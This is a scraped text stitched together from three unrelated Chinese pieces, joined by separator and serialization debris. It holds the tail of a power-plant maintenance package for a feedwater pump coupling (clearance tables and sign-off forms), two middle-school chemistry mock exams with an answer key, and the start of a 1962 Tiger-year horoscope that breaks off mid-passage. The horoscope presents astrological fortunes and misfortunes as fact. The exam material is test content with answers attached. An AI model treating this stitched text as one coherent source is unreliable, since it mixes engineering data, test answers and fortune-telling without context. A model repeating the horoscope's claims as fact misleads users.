@#@@#@R@#@□5.3@#@检查润滑油泵三根小轴与轴承配合间隙及小齿轮有无裂纹或严重磨损等缺陷。
@#@@#@□6@#@清洗、检查控制阀体@#@□6.1@#@清洗、检查控制阀体内壁。
@#@@#@□6.2@#@清洗、检查控制阀活塞外表有无毛刺及锈蚀。
@#@@#@检查弹簧有无变形。
@#@@#@□7@#@清理各油管、滤网、油箱。
@#@@#@□8@#@偶合器回装。
@#@@#@□8.1@#@回装泵轮与涡轮,测量与推力瓦块的轴向间隙。
@#@@#@W@#@□8.2@#@回装大齿轮,充油泵等各部件@#@□8.3@#@检查各部正常无遗漏,回装偶合器箱盖。
@#@@#@□9@#@找中心,联对轮。
@#@@#@H@#@主要@#@安全@#@措施@#@□工作人员工作前应填安全措施票,进入工作现场必须戴安全帽,严格执行各项安全规程。
@#@@#@□工作票开工时应仔细审阅,其备注是否有末停运的设备,防止在进入工作现场时发生事故。
@#@@#@□起吊工作有专职起重工协调指挥@#@□修前检查行车各方向运行正常,刹车正常@#@□火焊工作注意防火,防烫伤@#@□使用各种工具注意防止掉落及挤碰,用电动工具注意防触电@#@XX/XXXXX—XX—2007@#@豫新发电有限责任公司@#@检修技术记录卡@#@表:
@#@5/10@#@设备编码:
@#@@#@工序号@#@工序名称@#@标准值@#@实际值或简图@#@修前@#@测量人@#@时间@#@确认人@#@修后@#@测量人@#@时间@#@确认人@#@□1.6□8.1@#@泵轮轴与推力瓦块总间隙@#@0.22~0.27mm@#@涡轮轴与推力瓦块总间隙@#@□1.4@#@大齿轮配合设计要求@#@大齿轮与小齿轮侧切向间隙为0.28—0.35mm。
@#@@#@□1.5@#@主动齿轮配合设计要求@#@工作油泵与大齿轮端部斜齿轮侧隙为0.20—0.25mm。
@#@@#@□3.4@#@涡轮轴颈与轴瓦φ80mm的配合间隙@#@0.10-0.18mm@#@涡轮轴颈与轴瓦φ75mm的配合间隙@#@□3.5@#@泵轮轴颈与φ105mm轴瓦的配合间隙@#@0.12-0.21mm@#@泵轮轴颈与φ100mm轴瓦的配合间隙@#@□3.7@#@涡轮与供排油腔的径向间隙@#@0.20—0.48mm@#@□3.8@#@勺管与勺管套径向配合间隙@#@0.015-0.02mm@#@勺管套与供排油腔径向配合间隙@#@0.035-0.08mm@#@□4.1@#@大齿轮轴颈与轴瓦配合侧向间隙@#@0.15—0.25mm。
@#@@#@□5.1@#@油泵主轴轴颈与φ45轴承径向间隙@#@0.04—0.08mm@#@油泵主轴轴颈与导向轴承径向间隙@#@0.02—0.06mm@#@□5.2@#@油泵横轴轴颈与φ30轴承径向间隙@#@0.04—0.08mm@#@油泵轴装配设计轴向间隙@#@1.4—1.9mm@#@锥齿轮齿隙配合设计要求@#@0.20—0.30mm@#@□9@#@偶合器中心@#@圆周两侧偏差不大于0.10mm,圆周上下电动机轴应偏高0.15—0.20mm,面偏差不大于0.05mm。
@#@电机偏右0.15mm(从主泵侧看)@#@施工作业负责人@#@年月日@#@注:
@#@根据需要可另附简图,也可采用其他形式(如试验报告)。
@#@@#@ @#@@#@XX/XXXXX—XX—2007@#@豫新发电有限责任公司@#@质量监督签证单@#@表:
@#@6/10@#@设备编码:
@#@@#@设备名称(项目)#2机#给水泵偶合器@#@工序号@#@监督工序名称@#@级别@#@施工方自查@#@监理方@#@甲方@#@HW一般@#@班组@#@专业@#@□4.1□1.4□1.5@#@测量大齿轮各间隙@#@W@#@□3.5□8.1@#@测量泵轮转子各间隙@#@W@#@□8.1□3.4□3.7@#@测量涡轮转子各间隙@#@W@#@□5.1□5.2@#@测量充油泵各间隙@#@W@#@□3.8@#@测量勺管各间隙@#@W@#@□9@#@校正偶合器中心。
@#@@#@H@#@合计@#@H项@#@W项@#@一般项@#@合格项@#@合格项@#@合格项@#@合格项@#@合格项@#@合格项@#@合格项@#@合格项@#@合格项@#@签字@#@XX/XXXXX—XX—2007@#@豫新发电有限责任公司@#@不符合项处理单@#@表:
@#@7/10@#@设备编码:
@#@@#@设备和项目名称@#@日期@#@不符合情况说明@#@无法按文件包执行理由@#@要求修改的具体意见和采取的对策@#@审@#@批@#@程@#@序@#@申请人@#@设备管理与维护部专责人@#@设备管理与维护部审核@#@主管生产负责人@#@□同意@#@□返工@#@□让步验收@#@□报废@#@签字:
@#@@#@□同意@#@□返工@#@□让步验收@#@□报废@#@签字:
@#@@#@□同意@#@□返工@#@□让步验收@#@□报废@#@签字:
@#@@#@@#@注:
@#@此单由施工方提出申请,主要指由于客观原因无法达到技术标准和无法完全执行作业标准的项目。
@#@@#@XX/XXXXX—XX—2007@#@豫新发电有限责任公司@#@设备试运单@#@表:
@#@8/10@#@设备编码:
@#@@#@试运设备名称@#@试运参加单位@#@豫新发电有限责任公司发电部、设备管理与维护部、检修公司@#@试运行负责人@#@试运行范围@#@及注意事项@#@试运油泵,测量振动,空试电机,检查运转方向正常,测量振动;@#@对轮连接后,试运偶合器,调整勺管各行程。
@#@注意偶合器振动及工作油温、油压。
@#@@#@计划试运时间@#@年月日时分至年月日时分@#@相关部门@#@会签@#@工作情况交底@#@项目(专业)负责人@#@工作票@#@能否试运@#@签字@#@日期@#@□@#@施工方@#@汽机@#@□终结□交回@#@□可以□不可以@#@电气@#@□终结□交回@#@□可以□不可以@#@锅炉@#@□终结□交回@#@□可以□不可以@#@热控@#@□终结□交回@#@□可以□不可以@#@□@#@设备管理与维护部@#@汽机@#@ @#@@#@□可以□不可以@#@电气@#@□可以□不可以@#@锅炉@#@□可以□不可以@#@热控@#@□可以□不可以@#@运行班长@#@签发时间@#@年月日@#@试运行许可人@#@许可时间@#@年月日@#@试运行情况(运行填写)(应填写电流、温度、振动等详细记录)@#@@#@ @#@@#@记录人:
@#@@#@试运行结果:
@#@□合格□不合格□让步@#@会签部门验收@#@部门@#@签字@#@部门@#@签字@#@部门@#@签字@#@部门@#@签字@#@XX/XXXXX—XX—2007@#@豫新发电有限责任公司@#@完工报告单@#@表:
@#@9/10@#@设备编码:
@#@@#@项目名称@#@检修单位@#@实际检修时间年月日至年月日@#@实际工日@#@一、检修中发现并消除的缺陷@#@ @#@@#@二、不符合项处理报告简述@#@ @#@@#@三、设备异动和图纸更改已经完成@#@ @#@@#@四、实际更换备品配件纪录@#@ @#@@#@五、需要改进的标准(包括工时和消耗修理)@#@六、其他需要记录的事项@#@三方@#@(二方)确认@#@设备管理方@#@运行方@#@施工作业方@#@ @#@@#@XX/XXXXX—XX—2007@#@豫新发电有限责任公司@#@文件包修改记录@#@表:
@#@10/10@#@设备编码:
@#@@#@□本文件包修前准备修改@#@□本文件包中检修工序卡修改@#@□本文件包中检修技术记录卡修改@#@□本文件包质量监督签证单修改@#@□本文件包其他空白文件的版面修改@#@原@#@来@#@内@#@容@#@修@#@改@#@后@#@内@#@容@#@修@#@改@#@理@#@由@#@审@#@查@#@意@#@见@#@最后修改意见@#@审批程序@#@提出人@#@审核人@#@批准人@#@动态管理负责人@#@日期@#@";i:
3;s:
24388:
"10套打包厦门市双十中学中考一模化学试题及答案@#@【10套打包】厦门市双十中学中考一模化学试题及答案@#@中考化学第一次模拟试卷@#@一、选择题(本题包括20小题,每小题2分,共40分)@#@1.下列实验操作正确的是@#@@#@@#@@#@A.检查装置气密性B.熄灭酒精灯C.稀释浓硫酸D.测量溶液pH@#@2.下列过程中发生了化学变化的是@#@A.氢氧化钠固体放于水中产生大量热B.打开浓盐酸瓶盖,涌出白雾@#@C.利用稀有气体做电光源D.淀粉在人体内水解为葡萄糖@#@3.下列关于水的相关说法,正确的是@#@A.北冥湖的水可通过加入明矾来除去水中的可溶性杂质@#@B.电解水的实验证明水中含有氢分子和氧分子@#@C.从物质的分类来讲,水属于非金属氧化物@#@D.生活中通过蒸馏的方法来降低水的硬度@#@4.关于下列粒子结构示意图的说法中,错误的是@#@A.它们都有相对稳定的结构B.它们分别属于三种元素的离子@#@C.它们的核外都有2个电子层D.由前两种粒子直接构成的物质是MgF2@#@5.钚是第94号元素,钚-238原子的中子数为144,下列说法错误的是@#@A.钚属于金属元素B.钚原子质子数为94@#@C.钚原子核外电子数为144D.常用的钚相对原子质量为238@#@6.材料科学日益成为一门重要的学科,分类研究法是研究化学材料的常用方法。
@#@现有制作食品级容器的304不锈钢材料,它与下列哪组属于同一类材料@#@A.天然材料:
@#@地衣提取液、叶绿素B.合成材料:
@#@有机玻璃、合成纤维@#@C.金属材料:
@#@青铜、18K黄金D.非金属材料:
@#@熟石灰、大理石@#@7.催产素(oxytocin)的化学式为C43H66N12O12S2,下列有关说法不正确的是@#@A.催产素分子中碳、氢、氮、氧、硫的原子个数比为43:
@#@66:
@#@12:
@#@12:
@#@2@#@B.催产素由碳、氢、氮、氧、硫五种元素组成@#@C.催产素中硫元素质量分数为@#@D.催产素的相对分子质量是1006@#@8.下图表示治理汽车尾气所涉及反应的微观过程。
@#@下列说法不正确的是@#@@#@A.生成单质与化合物的质量比为7︰11B.图中所示有三种氧化物的分子@#@C.图中所示单质的化学式为N2D.此反应发生后,分子总数减少@#@9.下列关于碳和碳的化合物说法,错误的是@#@A.张校的墨宝在办公室摆放数年不褪色,是由于碳常温下化学性质不活泼@#@B.一个C60分子是由60个碳原子构成的,形似足球@#@C.一氧化碳和二氧化碳都属于非金属氧化物,所以都能与氢氧化钠溶液反应@#@D.人们把石墨放在高温、高压和有催化剂的反应釜中制得人造金刚石,虽然它们都是只由碳原子构成的物质,但这个变化属于化学变化@#@10.以下肥料中,属于复合肥料的是@#@A.尿素CO(NH2)2B.磷矿粉Ca3(PO4)2C.氯化钾KClD.硝酸钾KNO3@#@11.右图是向质量分数为10%的NaCl、NaOH和盐酸溶液逐渐加水的过程中,溶液的pH随加水量的增加而发生变化的曲线图。
@#@则X、Y、Z分别是@#@A.NaCl、NaOH、盐酸@#@B.NaOH、NaCl、盐酸@#@C.NaOH、盐酸、NaCl@#@D.盐酸、NaOH、NaCl@#@12.下列突发事故的处理措施正确的是@#@A.发现学校图书馆的书籍着火了,迅速在化学实验室配制简易泡沫灭火器去灭火@#@B.怀疑家里煤气发生了泄漏时,赶紧打开排风扇开关排走危险气体@#@C.北方冬天过年时,下地窖取储藏的蔬菜前先进行灯火实验@#@D.手不慎接触到氢氧化钠浓溶液,大量水冲洗后涂抹稀硫酸中和碱性@#@13.在密闭容器中有甲、乙、丙、丁四种物质,在一定的条件下充分反应,测得反应前后各物质的质量分数如图所示,下列说法错误的是@#@A.甲一定是化合物B.丙可能是这个反应的催化剂@#@C.该反应可能是碳酸钙的分解D.乙和丁一定是该反应的生成物@#@14.已知木星高层大气中含有大量氢气,在《流浪地球》中,主人公通过把地球大气和木星大气混合,点燃了木星来达到推动地球的效果。
@#@下列关于地球空气的说法,不正确的是@#@A.空气中的氧气具有助燃性B.氮气是空气中含量最高的气体@#@C.空气中二氧化碳含量上升会造成温室效应加剧D.空气中也含有大量的氢气@#@15.根据下列实验方案进行实验,能达到相应实验目的是@#@@#@A.比较Zn和Fe的金属活动性强弱B.探究铁钉生锈时O2是否参与反应@#@@#@C.比较红磷和白磷的着火点D.测定空气中O2的含量@#@16.下列对于实验现象的描述,正确的是@#@A.往碳酸氢钠溶液中滴加稀盐酸,观察到溶液中有二氧化碳气体产生@#@B.向稀硝酸中滴加少量紫色石蕊试剂,溶液呈现淡蓝色@#@C.将铁钉浸入硫酸铜溶液中,铁钉表面有红色固体析出,溶液由蓝色变为浅绿色@#@D.硫磺粉在空气中点燃,生成无色无味的气体@#@17.下列关于有机化合物的说法不正确的是@#@A.唾液中的淀粉酶是一种蛋白质@#@B.糖类都是有甜味的有机物@#@C.乙醇(C2H5OH)不是高分子化合物@#@D.做炒锅手柄的酚醛塑料是热固性高分子材料@#@18.除去下列物质中少量杂质,选用试剂和除杂方法均正确的是@#@选项@#@物质(括号内为杂质)@#@除杂试剂@#@除杂实验操作方法@#@A@#@Fe粉(CuO粉)@#@稀盐酸@#@加入过量稀盐酸,过滤、洗涤@#@B@#@CuO粉(CuSO4粉)@#@水@#@加入过量水,过滤、洗涤、干燥@#@C@#@NaCl溶液(CaCl2溶液)@#@二氧化碳@#@通入过量二氧化碳,过滤@#@D@#@CO2(CO)@#@氧气@#@通入过量氧气,点燃@#@19.向AgNO3、Cu(NO3)2、Mg(NO3)2的混合物溶液中加入一些锌粉,完全反应后过滤。
@#@下列情况可能的是@#@A.滤纸上有Cu,滤液中有Ag+、Cu2+、Zn2+、Mg2+@#@B.滤纸上有Cu、Ag,滤液中有Ag+、Zn2+、Mg2+@#@C.滤纸上有Cu、Ag、Zn,滤液中有Zn2+、Mg2+@#@D.滤纸上有Cu、Ag、Zn、Mg,滤液中有Zn2+@#@20.甲、乙两种固体的溶解度曲线如图所示,相关分析正确的是@#@A.M点表示t3℃时,乙饱和溶液溶质质量分数为20%@#@B.N点表示t1℃时,甲和乙的饱和溶液溶质质量分数相同@#@C.t2℃时,甲、乙饱和溶液降低温度,甲先析出晶体@#@D.t3℃时,溶剂质量均为100g的甲、乙饱和溶液降温至t1℃,乙溶液析出的固体更多@#@第二部分非选择题(共60分)@#@21.(3分)四川凉山发生森林火灾,30名消防员突遇山火燃爆不幸牺牲,除了悲痛致敬,我们更应该学习灭火原理,了解救火常识:
@#@@#@@#@图21-1图21-2@#@
(1)消防员携带鼓风式森林灭火器(图21-1)进山灭火,该灭火器通过内置柴油发动机使鼓风机扇片高速转动,喷出十二级强风,请问这种灭火器的灭火原理是破坏了燃烧三要素中____________。
@#@@#@
(2)为保护附近村庄,消防员伐木除草,挖出一条裸露着黄土、60米宽的防火带(图21-2),该举措的灭火原理是________________。
@#@@#@(3)家庭用火不慎也易导致火灾,若油锅起火,用锅盖盖住灭火原理是___________。
@#@@#@22.(5分)下图是A、B二种固体物质的溶解度曲线图,请回答:
@#@@#@
(1)在t2℃时,P点对应的是A物质的__________溶液(填“饱和”或“不饱和”)。
@#@@#@
(2)欲使A溶液的状态从P点转化为Q点,可采取的措施是_____________________@#@____________________________。
@#@@#@ (3)t1℃时,将A、B各Wg分别加入到两只盛有100g水的烧杯中,充分搅拌得到A溶液和B溶液,然后分别放入盛有同样冰块的小烧杯。
@#@一段时间后,B溶液的质量分数______(填“变大”、“变小”或“不变”)。
@#@若W的值为20,则A、B在t1℃的质量分数是________(计算结果保留到小数点后一位)。
@#@@#@23.(6分)氨气(NH3)是一种重要的化工原料。
@#@@#@
(1)氨气属于__________(填序号)。
@#@@#@A.混合物B.纯净物C.化合物D.氧化物@#@
(2)在高温和催化剂的条件下,可由氨气获得氢气,其反应类型与水电解制氢气相同。
@#@该反应的化学方程式为______________________________。
@#@@#@(3)尿素【CO(NH2)2】可以制氨气,反应的微观示意图如下:
@#@@#@该反应生成物甲和乙的分子个数比为____________;@#@@#@该反应的化学方程式为______________________________。
@#@@#@24.(7分)近年来,为更好告知公众生产生活中的危险源,各单位都贴出了职业危害告知牌。
@#@某燃气公司的煤气告知牌如图所示。
@#@@#@
(1)煤气的主要成分为CO,其中碳元素的化合价为______。
@#@@#@
(2)从告知牌中可知CO的物理性质为_________________________(请举出两项)。
@#@@#@(3)煤气是通过固体燃料——煤的干馏获得的,煤的干馏属于__________(填“物理变化”或“化学变化”)除了煤以外,另外两种化石燃料为____________________。
@#@@#@(4)虽然煤气使用不慎会导致事故,但其主要成分CO却在高炉炼铁中发挥重要作用,请写出高炉炼铁原理______________________________(用化学方程式表示)。
@#@@#@某炼铁厂用97吨含氧化铁80%的赤铁矿石,理论上可冶炼得到含杂质3%的生铁质量是_______吨。
@#@@#@25.(6分)含有相同离子的盐具有相似的性质。
@#@@#@
(1)CuSO4溶液和FeSO4溶液都含有大量的(填离子符号)。
@#@@#@
(2)向FeSO4溶液中加入BaCl2溶液,充分振荡,反应的化学方程式为@#@。
@#@@#@(3)将一定质量的氧化铜加入稀硫酸中完全溶解后,得到溶液A。
@#@然后再向溶液A中加入光亮的过量镁条充分反应,过滤,得到滤渣和滤液。
@#@将滤渣加入足量的稀硫酸,充分反应后,剩余固体的质量为3.2g。
@#@@#@①向溶液A中加入光亮的过量镁条,请在右图中@#@写出反应后溶液中2个“”代表的离子符号。
@#@@#@②原氧化铜的质量为g。
@#@@#@反应前反应后@#@(4)除上述实验外,在溶液中与CuSO4和FeSO4均能@#@反应的物质还有(填字母)。
@#@@#@A.NaOHB.FeC.Ba(NO3)2D.MgCl2@#@26.(8分)某白色固体混合物可能含有Na2CO3、KOH、MgCl2、CaCl2中的一种或几种。
@#@为了确定该混合物的成份,宇琛同学进行了如下实验:
@#@@#@
(1)在固体样品中加入足量水搅拌后的操作Ⅰ是________,该操作必须用到的玻璃仪器有玻璃棒、烧杯和______,其中玻璃棒的作用是__________;@#@@#@
(2)往白色沉淀B中加入足量稀盐酸,沉淀全部溶解且无气泡产生,则反应的化学方程式为_____________________________;@#@@#@(3)取无色溶液A少量于试管中,通入CO2,得到无色溶液C和白色沉淀D,该步骤发生的化学反应方程式为________________________________________________;@#@@#@(4)原白色固体中含有的物质是____________________________________________。
@#@@#@27.(9分)实验室制取气体的部分装置如图所示,请回答下列问题。
@#@@#@
(1)实验室制备二氧化碳的原料为__________和__________(填物质名称),该反应化学方程式为__________________________________。
@#@A、B均可做发生装置,与A装置相比,B装置的优点是便于在反应过程中。
@#@选用F装置收集CO2时,检验该气体已收集满的方法和现象是:
@#@______________________________。
@#@@#@
(2)小黎用C装置作为实验室制备氧气的发生装置,他选取了黑色和白色两种固体粉末,混合均匀后放入试管中,请据此操作写出该反应的化学方程式:
@#@@#@。
@#@@#@(3)选用G装置收集气体时,下列实验操作正确的是__________(填序号)。
@#@@#@①反应前,将集气瓶注满水后,倒立在盛水的水槽中备用@#@②当导气管口有气泡冒出时,立即将导气管口移入集气瓶中收集气体@#@③排水法收集气体时,当水下集气瓶口有较大气泡逸出时,证明气体已收集满@#@④收集满气体后,先在水下将玻璃片盖住集气瓶口,然后再将它移出水槽@#@(4)实验室常用D装置来制备氯气(Cl2),推测其反应物可能是_______(填编号)。
@#@@#@a.水和木炭b.氯化钠固体和二氧化锰c.浓盐酸和二氧化锰@#@28.(6分)Mg(OH)2是一种重要的化工原料,小林同学用氨水在实验室模拟制取该物质:
@#@一定温度下,向一定量氯化镁溶液中加入适量氨水(氨水易挥发),经过滤、洗涤得到Mg(OH)2晶体。
@#@为探究获得较高Mg(OH)2晶体转化率条件,小林进行如下对比实验:
@#@@#@实验编号@#@氯化镁溶液溶质质量分数@#@反应温度/℃@#@Mg(OH)2转化率/%@#@a@#@10%@#@30@#@27.06@#@b@#@15%@#@30@#@56.77@#@c@#@15%@#@40@#@69.64@#@d@#@15%@#@60@#@54.30@#@e@#@20%@#@60@#@50.60@#@
(1)实验a和b的目的是。
@#@@#@
(2)由实验可知,c组转化率最高,小林同学想探究与目前最佳转化率水平接近,但又能进一步节约药品和能源的反应条件,以下氯化镁溶质质量分数和反应温度组合中合理的为__________。
@#@@#@A.13%40℃B.15%35℃C.15%50℃D.17%50℃@#@(3)在氯化镁溶液溶质质量分数都是15%的情况下,60℃时Mg(OH)2的转化率比40℃时低最可能的原因是。
@#@@#@29.(10分)居里夫人发现了放射性元素镭,她把金属镭放入水中,发生猛烈反应,得到氢氧化镭[Ra(OH)2]的水溶液。
@#@氢氧化镭固体为白色粒状固体,易溶于水形成仅次于氢氧化铯的超强碱,有极强的腐蚀性,化学性质与其他可溶性氢氧化物类似。
@#@@#@现有氢氧化镭的无色溶液,提供下列限选试剂:
@#@稀硝酸、稀盐酸、二氧化碳气体、氢氧化钠溶液、碳酸钠溶液、酚酞试液、紫色石蕊试液、镁条。
@#@请预测氢氧化镭的化学性质,说明预测依据,并设计实验验证。
@#@@#@注:
@#@氯化镭、硝酸镭等是可溶性盐,碳酸镭是难溶性盐。
@#@@#@预测@#@预测的依据@#@验证预测的实验操作与预期现象@#@①能够与含CO32-的@#@盐反应@#@____________________@#@取少量Ra(OH)2溶液于试管中,滴入少量Na2CO3溶液,如果观察到_______________,@#@则预测成立。
@#@@#@②能够与__________@#@(填物质类别)反应@#@____________________@#@___________________________________,@#@如果观察到,则预测成立。
@#@@#@③能够与@#@(填物质类别)反应@#@____________________@#@___________________________________,@#@如果观察到,则预测成立。
@#@@#@参考答案@#@题号@#@1@#@2@#@3@#@4@#@5@#@6@#@7@#@8@#@9@#@10@#@答案@#@B@#@D@#@C@#@B@#@C@#@C@#@C@#@A@#@C@#@D@#@题号@#@11@#@12@#@13@#@14@#@15@#@16@#@17@#@18@#@19@#@20@#@答案@#@C@#@C@#@C@#@D@#@B@#@C@#@B@#@B@#@C@#@B@#@21.(3分)
(1)温度达到着火点
(2)清除可燃物(3)隔绝空气@#@22.(5分)
(1)饱和(1分)
(2)增加t2℃的溶剂(2分)(3)不变(1分)16.7%(1分)@#@23.(6分)
(1)BC(1分)
(2)@#@(2分)@#@(3)2:
@#@1(1分)@#@(2分)@#@24.(7分)
(1)+2(1分)
(2)无色、无味(或微溶于水,溶于乙醇,苯等多数有机溶剂)(1分)(3)化学变化石油、天然气(各1分)(4)@#@(1分)(5)56(1分)@#@25.(6分)
(1)SO42-(1分)
(2)FeSO4+BaCl2=BaSO4↓+FeCl2(1分)@#@(3)①@#@(1分)②4(1分)@#@(4)AC(2分)@#@26.(8分)
(1)过滤,漏斗,引流(各1分)
(2)Mg(OH)2+2HCl=MgCl2+2H2O(1分)@#@(3)2KOH+CO2=K2CO3+H2O,K2CO3+CaCl2=CaCO3↓+2KCl(2分)@#@或Ca(OH)2+CO2=CaCO3↓+H2O@#@(4)KOH、MgCl2、CaCl2(2分)@#@27.(9分)
(1)块状大理石(1分)稀盐酸(1分)@#@(1分)@#@能随时添加液体药品(1分)@#@将燃着的木条放在集气瓶口,若木条熄灭,则已集满(1分)@#@
(2)@#@(1分)(3)①③④(2分)(4)c(1分)@#@28.(6分)@#@
(1)探究在其他条件相同时,氯化镁溶液溶质质量分数对Mg(OH)2转化率的影响。
@#@@#@
(2)AB@#@(3)氨水易挥发,60℃时反应物减少,导致Mg(OH)2产率变小。
@#@@#@29.(10分)@#@预测@#@预测的依据@#@验证预测的实验操作与预期现象@#@①能够与含CO32-的@#@盐反应@#@Ra(OH)2可解离出Ra2+@#@取少量Ra(OH)2溶液于试管中,滴入少量Na2CO3溶液,若观察到有沉淀产生,则预测成立。
@#@@#@②能够与非金属氧化物(填物质类别)反应@#@Ra(OH)2可解离出OH-@#@取少量Ra(OH)2溶液于试管中,通入二氧化碳气体,如果观察到有沉淀产生,则预测成立。
@#@@#@③能够与酸碱指示剂@#@(填物质类别)反应@#@Ra(OH)2可解离出OH-@#@取少量Ra(OH)2溶液于试管中,滴入几滴酚酞试液,如果观察到溶液变红,则预测成立。
@#@@#@④能够与酸@#@(填物质类别)反应@#@Ra(OH)2中含有OH-@#@取少量Ra(OH)2溶液于试管中,并加入酚酞溶液,再滴加足量稀盐酸,如果观察到红色溶液变无色,则预测成立。
@#@@#@其他合理答案均可@#@ @#@@#@中考化学第一次模拟试卷@#@第一部分选择题第1~10题,每小题只有一个选项符合题意.每小题1分,共10分。
@#@@#@1.(1分)下列变化属于物理变化的是( )@#@A.浓盐酸挥发B.木柴燃烧C.工业炼铁D.有机肥腐熟@#@2.(1分)下列物质由分子构成的是( )@#@A.金B.氨气C.氯化镁D.硫酸铜@#@3.(1分)下列物质可用作氮肥的是( )@#@A.KClB.Na2SO4C.CO(NH2)2D.Ca3(PO4)2@#@4.(1分)下列用途中,主要利用物质化学性质的是( )@#@A.铜作导线B.食品包装袋中充入氮气@#@C.干冰用于人工降雨D.竹炭除冰箱中的异味@#@5.(1分)下列实验操作正确的是( )@#@A.@#@验满氧气B.@#@点燃酒精灯@#@C.@#@检查装置气密性D.@#@滴加液体@#@6.(1分)下列化学用语书写错误的是( )@#@A.五氧化二磷:
@#@P2O5B.镁离子:
@#@Mg2+@#@C.2个钾原子:
@#@2KD.3个氮分子:
@#@N3@#@7.(1分)下列物质属于氧化物的是( )@#@A.蒸馏水B.氖气C.硝酸钾D.氢氧化钡@#@8.(1分)我国的北斗导航卫星系统采用铷原子钟,提供精确时间。
@#@如图是铷元素在元素周期表中的相关信息,下列说法正确的是( )@#@A.铷元素属于非金属元素@#@B.铷元素的相对原子质量为85.47g@#@C.铷原子的质子数等于中子数@#@D.铷元素的原子序数为37@#@9.(1分)化学与人类健康密切相关,下列说法正确的是( )@#@A.霉变大米经淘洗后可食用@#@B.人误食重金属盐中毒,可服蛋清减轻毒性@#@C.人体缺锌可引起佝偻病@#@D.补充维生素C可预防夜盲症@#@10.(1分)下列说法正确的是( )@#@A.将少量面粉和蔗糖分别加入适量的水中,均可形成均一、稳定的混合物@#@B.自来水生产过程中加入明矾,目的是杀菌消毒@#@C.用氯化钠固体配制50克10%的氯化钠溶液的主要步骤:
@#@计算、量取、溶解@#@D.向一定体积的气体加压,体积明显变小,可用微粒之间有空隙的性质来解释@#@第11-15题,每小题有一个或两个选项符合题意.若正确答案包括两个选项只选一个且正确得1分;@#@错选得0分.每小题2分,共10分.@#@11.(2分)有关物质的组成、构成与性质关系的说法正确的是( )@#@A.水和过氧化氢组成元素相同,故它们的化学性质相同@#@B.稀硫酸和盐酸溶液中都含有大量氢离子,故它们具有一些共同的化学性质@#@C.构成金刚石和石墨的原子相同但排列方式不同,故它们的物理性质不同@#@D.氢氧化铜和氢氧化钠都含有氢氧根离子,故它们都能使无色酚酞试液变红色@#@12.(2分)如图是甲、乙两种固体物质的溶解度曲线,下列说法正确的是( )@#@A.t1℃时,甲、乙两物质的溶解度大小关系:
@#@甲>乙@#@B.t2℃时,等质量的甲、乙溶液中,溶剂的质量一定相等@#@C.t3℃时,若将N点的甲溶液转变为M点的甲溶液,可采取恒温蒸发溶剂的方法@#@D.将t1℃时甲、乙的饱和溶液升温至t3℃,所得甲、乙的溶液仍都是饱和溶液@#@13.(2分)下列说法正确的是( )@#@A.制作烟花常加入镁粉,原因是镁燃烧能发出耀眼的白光@#@B.通常情况下铝制品耐腐蚀,原因是铝不易发生化学反应@#@C.巴黎圣母院失火,消防队员用水灭火是为了降低可燃物的着火点@#@D.实验时,氯酸钾中加入少量高锰酸钾加热,发现产生氧气的速率加快,原因是高锰酸钾对氯酸钾分解起催化作用@#@14.(2分)下列有关物质的检验、鉴别以及分离、提纯的做法,正确的是( )@#@A.检验食品中是否含有淀粉:
@#@用碘化钾溶液@#@B.鉴别K2SO4和(NH4)2SO4两种固体:
@#@加熟石灰研磨@#@C.除去CaCO3固体中的少量Na2CO3:
@#@加入足量稀盐酸充分反应后过滤@#@D.分离Fe和CuSO4固体混合物:
@#@加入足量的水溶解,过滤@#@15.(2分)某化学兴趣小组进行了两组实验。
@#@实验一:
@#@如图1,将除去表面氧化膜的锌片插入到盛CuSO4溶液的烧杯中;@#@实验二:
@#@如图2,用导线将除去表面氧化膜的铜片和锌片分别连接到电流表的正、负极,然后把铜片和锌片一起插入盛CuSO4溶液的烧杯中。
@#@下列说法正确的是( )@#@A.实验一观察到锌表面有红色物质析出,反应后溶液质量会减小@#@B.实验二观察到电流表指针发生了偏转@#@C.实验一和实验二都明显体现了化学能转化为电能@#@D.实验一和实验二从微观角度分析,都存在着电子的得失@#@二、非选择题(共40分@#@16.(7分)化学与科技、生产、生活密切相关。
@#@@#@
(1)某学校的营养早餐配料标签如图1所示,该配料中富含油@#@脂的物质是 。
@#@当衣服上粘有油脂时,可以用洗衣粉除去,其去污原理是 。
@#@@#@
(2)泰州是中国人民解放军海军的摇篮,138泰州舰上使用的@#@玻璃钢属于 材料;@#@舰体在高盐的海水中易生锈,原因是海水中所含的 物质存在时会加速铁的锈蚀。
@#@@#@(3)利用植物秸秆、牲畜粪便等可制得沼气,沼气的主要成分甲烷在空气中完全燃烧的化学方程式为 ,推广使用沼气做燃料的优点是 (答1点即可)。
@#@@#@(4)一种创可贴中间有个凸起的小囊区,如图2.按贴伤口的同时,小囊区内的水和硝酸铵固体被挤破混合,利用硝酸铵固体溶解时温度 ,起到快速止血的作用。
@#@@#@17.(8分)请回答下列实验问题:
@#@@#@
(1)现提供下列装置:
@#@@#@①如图E装置中,甲仪器的名称是 。
@#@@#@②实验室用KClO3和MnO2混合制O2,发生装置可选用 (填装置序号),用装置C干燥O2,气体由导管 端(填“a”或“b”)进入,用E装置收集O2的依据是 。
@#@@#@③英国化学家布莱克是第一个“捕捉”到CO2的人,实验室制备CO2的化学方程式为 ;@#@1774年德国化学家贝格曼将CO2通入紫色石蕊试液中,发现试液由紫色变为红色,此反应的化学方程式为 。
@#@@#@
(2)对一定质量的粗盐(含泥沙)进行初步提纯。
@#@@#@①实验的主要步骤:
@#@称量与";i:
4;s:
16750:
"1962年属虎的人XX年健康感情财运事业全年1至详解@#@1962年属虎的人XX年健康,感情,财运,事业全年1至12月详解@#@@#@ XX年戊戌狗年,寅虎和太岁戌狗呈三合格局,生肖属虎的朋友有望借助太岁的力量得到更好的发展。
@#@太岁为食神吉星,代表今年工作和收入都会有显著的提升,并且流年有【三台】、【天解】、【解神】等吉星包围,全年运势更上一层楼,尤其是去年运气不好的朋友,今年必然有改善的机会。
@#@但是,虽有多颗吉星庇佑,也不能掉以轻心,因为有【五鬼】、【飞符】等凶星在环绕命宫、蠢蠢欲动,【五鬼】代表周围小人多、较易惹上口舌是非,【飞符】则会给属虎人带来灾难困扰,有飞来横祸与无妄之灾。
@#@总而言之,今年是以吉为主,即使短期内遇到困难,也要保持前进的动力和信心,善于借助外界的力量解决困难,必定能扭转被动局面,转危为安。
